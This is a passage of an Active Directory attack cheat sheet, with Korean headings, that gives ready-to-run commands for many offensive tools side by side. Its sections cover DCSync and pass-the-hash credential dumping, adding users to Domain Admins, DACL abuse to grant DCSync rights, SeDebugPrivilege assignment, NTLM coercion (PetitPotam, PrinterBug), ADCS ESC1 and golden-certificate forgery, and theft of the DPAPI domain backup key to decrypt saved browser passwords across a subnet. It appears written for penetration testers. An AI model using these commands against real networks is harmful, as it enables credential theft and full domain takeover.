  -rodcKey <rodc_krbtgt_aes256_hex>

# impacket — pass-the-hash to authenticate, then key-list
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] \
  -use-keylist -rodcNo <RODC_number> \
  -rodcKey <rodc_krbtgt_aes256_hex>

[↑ 색인으로 돌아가기](#index)

---

### DCSync```bash
# pypykatz — full domain dump
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]"

# pypykatz — single user (less noisy)
pypykatz smb dcsync "smb2+ntlm-password://DOMAIN\Administrator:[email protected]" \
  --username krbtgt

# pypykatz — pass-the-hash
pypykatz smb dcsync \
  "smb2+ntlm-nt://DOMAIN\Administrator:[email protected]"

# Metasploit — full domain dump
msf6 > use auxiliary/gather/windows_secrets_dump
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN

# Metasploit — restrict to specific users
msf6 auxiliary(windows_secrets_dump) > run rhosts=192.168.1.1 smbdomain=DOMAIN \
  smbuser=Administrator smbpass=Password123 action=DOMAIN krb_users=krbtgt

# impacket — full NTLM dump
secretsdump.py DOMAIN/Administrator:[email protected] -just-dc-ntlm

# impacket — pass-the-hash
secretsdump.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  DOMAIN/[email protected] -just-dc-ntlm

# impacket — single account
secretsdump.py DOMAIN/Administrator:[email protected] \
  -just-dc-user DOMAIN/krbtgt

# NetExec
netexec smb 192.168.1.1 -u Administrator -p Password123 --ntds --user krbtgt

# NetExec — pass-the-hash
netexec smb 192.168.1.1 -u Administrator -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 --ntds

# gopacket — DCSync full NTLM dump
secretsdump -just-dc-ntlm DOMAIN/Administrator:[email protected]
# gopacket — DCSync pass-the-hash
secretsdump -just-dc-ntlm -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — DCSync single user
secretsdump -just-dc-user DOMAIN/krbtgt DOMAIN/Administrator:[email protected]

# Titanis — all objects, all credential fields
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — single user
Dsrep rep -UserName Administrator@DOMAIN -Password 'Password123' dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List krbtgt

# Titanis — pass-the-hash
Dsrep rep -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — Kerberos (use DC hostname; -Kdc obtains TGT inline)
Dsrep rep -UserName Administrator -UserDomain DOMAIN -Password 'Password123' \
  -Kdc 192.168.1.1 dc01.domain.local \
  -EncryptRpc \
  -OutputFields samAccountName, objectSid, kerberosKeys, kerberosOldKeys, cleartextPassword, unicodePwd, lmPwdHistory, ntPwdHistory \
  -OutputStyle List

# Titanis — enumerate DCs first
Dsrep dcinfo -UserName Administrator@DOMAIN -Password 'Password123' 192.168.1.1

[↑ 인덱스로 돌아가기](#index)

---

### 그룹 / 로컬 별칭 열거```bash
# impacket — enumerate domain groups
net.py DOMAIN/jdoe:[email protected] group

# impacket — enumerate local aliases (BUILTIN groups) on a host
net.py DOMAIN/jdoe:[email protected] localgroup

# impacket — add/remove a user from a domain group
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net.py DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser

# impacket — add/remove from a local alias (e.g. local Administrators)
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -join newuser
net.py DOMAIN/admin:[email protected] localgroup -name Administrators -unjoin newuser

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 --groups --local-groups

# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumdomgroups"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "enumalsgroups builtin"

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# bloodyAD — domain groups
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(objectClass=group)" --attr sAMAccountName,description,member

# Titanis
Sam enumgroups  192.168.1.10 -UserName jdoe -Password Password123
Sam enumaliases 192.168.1.10 -UserName jdoe -Password Password123

# gopacket — enumerate domain groups
net DOMAIN/jdoe:[email protected] group
# gopacket — enumerate local aliases
net DOMAIN/jdoe:[email protected] localgroup
# gopacket — list members of a specific group
net DOMAIN/jdoe:[email protected] group -name "Domain Admins"
net DOMAIN/jdoe:[email protected] localgroup -name Administrators
# gopacket — add/remove user from a domain group
net DOMAIN/admin:[email protected] group -name "Domain Admins" -join newuser
net DOMAIN/admin:[email protected] group -name "Domain Admins" -unjoin newuser
# gopacket — pass-the-hash
net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] group

[↑ 인덱스로 돌아가기](#index)

---

### RPC 엔드포인트 열거```bash
# impacket
rpcdump.py DOMAIN/jdoe:[email protected]
rpcmap.py ncacn_ip_tcp:192.168.1.10

# Titanis
Epm lsep 192.168.1.10

# gopacket — RPC endpoint mapper dump (password)
rpcdump DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
rpcdump -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — rpcmap (unauthenticated TCP endpoint enumeration)
rpcmap ncacn_ip_tcp:192.168.1.10

[↑ 목차로 돌아가기](#index)

---

### WMI 메서드 호출```bash
# impacket — exec-based workaround only
wmiexec.py DOMAIN/jdoe:[email protected] "calc.exe"

# Titanis — invoke any WMI method directly
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_Process Create "calc.exe"

[↑ 목차로 돌아가기](#index)

---

### 레지스트리 키 보안 설명자```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regetkeysecurity HKLM\\SAM"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 -c "regsetsecurity HKLM\\SAM <SDDL>"

# Titanis
Reg getsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 HKLM/SAM
Reg setsd 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  HKLM/SAM "O:BAG:SYD:(A;;KA;;;SY)"

[↑ 목차로 돌아가기](#index)

---

### LSA 권한 관리```bash
# rpcclient
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsaaddprivs S-1-5-21-...-1001 SeDebugPrivilege"
rpcclient -U 'DOMAIN\jdoe%Password123' 192.168.1.10 \
  -c "lsadelprivs S-1-5-21-...-1001 SeDebugPrivilege"

# bloodyAD — no userRight subcommand; use rpcclient or Titanis for LSA privilege assignment

# Titanis
# ⚠️ Three requirements:
#   1. -PreferSmb required when targeting Domain Controllers (not needed for member servers)
#   2. -BySid required; -ByName is broken (LsaLookupNames always returns STATUS_OBJECT_NAME_NOT_FOUND)
#   3. Target account must have an existing LSA policy entry — run createaccount first if not
#
# Get SID first (impacket): lookupsid.py 'DOMAIN/admin:Pass@dc-ip' | grep <username>
#
# Step 1 — create LSA account entry if target has no existing explicit rights
Lsa createaccount 192.168.1.10 S-1-5-21-...-1001 \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -PreferSmb
# Step 2 — add/remove privilege
Lsa addpriv  192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa rmpriv   192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 SeDebugPrivilege -PreferSmb
Lsa setsysaccess 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -BySid S-1-5-21-...-1001 0x20 -PreferSmb

[↑ 목차로 돌아가기](#index)

---

## 6. Active Directory / LDAP

### AD 사용자 / 컴퓨터 열거```bash
# impacket
GetADUsers.py    -all -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123
GetADComputers.py     -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --users
netexec ldap 192.168.1.1 -u jdoe -p Password123 --computers

# bloodyAD
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=user)" --attr sAMAccountName,userPrincipalName,userAccountControl
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search --filter "(objectClass=computer)" --attr sAMAccountName,dNSHostName,operatingSystem

# msldap — password
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> adinfo

# msldap — pass-the-hash
msldap "ldap+ntlm-nt://DOMAIN\jdoe:[email protected]"

# msldap — Kerberos ccache
msldap "ldap+kerberos+ccache://DOMAIN\jdoe:@dc01.domain.local/?dc=192.168.1.1&ccache=jdoe.ccache"

# msldap — via SOCKS5
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]/?proxytype=socks5&proxyhost=127.0.0.1&proxyport=1080"

# Titanis — use Ldap query (not Ldap search) with -FollowReferrals on Linux
# Linux notes:
#   - Use Ldap query, not Ldap search — Ldap search always probes RootDSE first, hits a referral,
#     and returns no records regardless of -SearchBase or -FollowReferrals
#   - -FollowReferrals required — without it, referral targets are printed as INFO and results are empty
#   - -OutputFields only accepts one field at a time on Linux; comma lists show header but no rows
#     Workaround: -OutputFields '*' -OutputStyle List and grep/parse
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=user)" -FollowReferrals
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 "(objectClass=computer)" -FollowReferrals

# gopacket — enumerate AD users (requires -port 389)
GetADUsers -all -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — enumerate AD computers (requires -port 389)
GetADComputers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetADUsers -all -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ 인덱스로 돌아가기](#index)

---

### 위임 구성 찾기```bash
# impacket
findDelegation.py -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --trusted-for-delegation

# bloodyAD — unconstrained delegation
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 get search \
  --filter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" --attr sAMAccountName,userAccountControl

# msldap
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> unconstrained

# Titanis — unconstrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForDelegation)" -OutputFields * -FollowReferrals

# Titanis — constrained
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(msDS-AllowedToDelegateTo=*)" -OutputFields * -FollowReferrals

# Titanis — S4U2self only
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=TrustedForS4U2self)" -OutputFields * -FollowReferrals

# gopacket — find all delegation types (requires -port 389)
findDelegation -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
findDelegation -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

[↑ 목차로 돌아가기](#index)

---

### 사용자 계정 추가```bash
# impacket — net.py does NOT support user -add; use bloodyAD or netexec instead
# (net.py only supports user -list, -enable, -disable; creation via SAMR is not implemented)

# bloodyAD — password
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123 add user newuser Password123!

# bloodyAD — pass-the-hash
bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  add user newuser Password123!

# net rpc (Samba)
net rpc user add newuser Password123! -U DOMAIN/jdoe%Password123 -S 192.168.1.10

# Titanis
Ldap adduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 newuser Password123!

[↑ 인덱스로 돌아가기](#index)

---

### DACL 악용

> **Titanis 상태:** ACE-write 기능이 없습니다. `bloodyAD`가 선호되는 비-impacket 옵션입니다. `dacledit.py` / `owneredit.py`가 impacket 대체 수단입니다.```bash
# bloodyAD — grant GenericAll
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  add genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# bloodyAD — grant DCSync rights
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass add dcsync jdoe

# bloodyAD — change owner
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass set owner targetuser jdoe

# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]

# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
  targetuser@DOMAIN NewPass123

[↑ 색인으로 돌아가기](#index)

---

## 7. 인증 강제

> coerce 단계를 `ntlmrelayx` 또는 Responder와 페어링하여 relay 단계를 수행하세요. Titanis `credcoerce`는 MS-EFSR만 지원합니다.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
  Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
  Efs.DuplicateEncryptionInfoFile

# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>

# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam

# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

[↑ 인덱스로 돌아가기](#index)

---

## 8. 인증서

> **gopacket 상태:** ADCS 도구가 없습니다. 모든 인증서 작업에는 certipy, Titanis `Cert` 또는 impacket을 사용하세요.

### 자체 서명 PFX 생성```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
#       for Shadow Credentials use certipy shadow or impacket's pyWhisker instead

# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx

# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123

# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx

[↑ 목차로 돌아가기](#index)

---

### ADCS ESC1 — NT 해시 등록 및 복구```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
  -ca CA-NAME -template VulnerableTemplate \
  -upn [email protected] \
  -target ca.domain.local -out admin

# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
  "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt

# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics

[↑ 색인으로 돌아가기](#index)

---

### DPAPI 도메인 백업 키 — 대량 자격 증명 복호화

> DPAPI 도메인 백업 키는 DC에 보관된 도메인 전체 비밀로, 모든 사용자의 DPAPI 마스터 키를 복호화합니다. 따라서 도메인 내 모든 DPAPI 보호 blob: Chrome/Edge/Firefox 비밀번호, Windows 자격 증명 관리자, 인증서, Wi-Fi 키, SCCM NAA 계정, 예약 작업 자격 증명 등을 복호화할 수 있습니다. 이를 덤프하려면 DA 권한이 필요하지만, 일단 획득하면 명시적으로 교체하지 않는 한 키는 영구적으로 유효합니다. DPAPI blob에 저장된 비밀에 대해 NTDS와 맞먹는 자격 증명 범위를 제공하며, 해시가 아닌 평문 비밀번호를 제공하므로 횡적 이동에 더 유용한 경우가 많습니다.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory

# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi

# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt

# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1

# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
  -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk

# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem

# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --fetch-pvk

# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --pvkfile domain_backup.pvk

# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan